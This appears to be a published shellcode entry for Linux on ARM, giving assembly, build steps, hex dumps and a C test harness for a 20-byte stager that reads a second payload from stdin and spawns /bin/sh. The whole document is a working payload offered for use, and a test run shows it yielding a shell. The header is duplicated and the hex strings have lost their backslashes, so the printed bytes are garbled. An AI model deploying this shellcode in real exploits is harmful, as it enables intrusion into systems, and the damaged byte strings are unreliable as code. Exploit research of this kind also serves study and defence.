Linux ARM read 0 buf 0xff stager execve quot bin sh quot NULL NULL Shellcode

/*
# Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
# Date: 2018-08-31
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
# Date: 2018-08-31
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Author: Ken Kitahara

[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $

[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode (20 Bytes).

pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start

_start:
.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #0xb
svc #1

spawn:
.ascii "/bin/shX"
pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' binsh.bin && echo
x02xa0x49x40x52x40xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x58
pi@raspberrypi:~ $


(2) Create stager shellcode (20 Bytes).

pi@raspberrypi:~ $ cat stager.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
// read(0, buf, 0xff)
eor r0, r0, r0
adr r1, loadpoint
mov r2, #0xff
mov r7, #3
svc #1
mov pc, r1
loadpoint:
pi@raspberrypi:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
pi@raspberrypi:~ $ objcopy -O binary stager stager.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' stager.bin && echo
x01xe0x8fxe2x1exffx2fxe1x40x40x02xa1xffx22x03x27x01xdfx8fx46
pi@raspberrypi:~ $

(3) Operation test.

pi@raspberrypi:~ $ (echo -ne "x02xa0x49x40x52x40xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x58"; cat) | ./stager
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
exit
^C
pi@raspberrypi:~ $

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] =
"x01xe0x8fxe2x1exffx2fxe1"
"x40x40x02xa1xffx22x03x27"
"x01xdfx8fx46";

void main()
{
printf("Shellcode Length: %d ", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}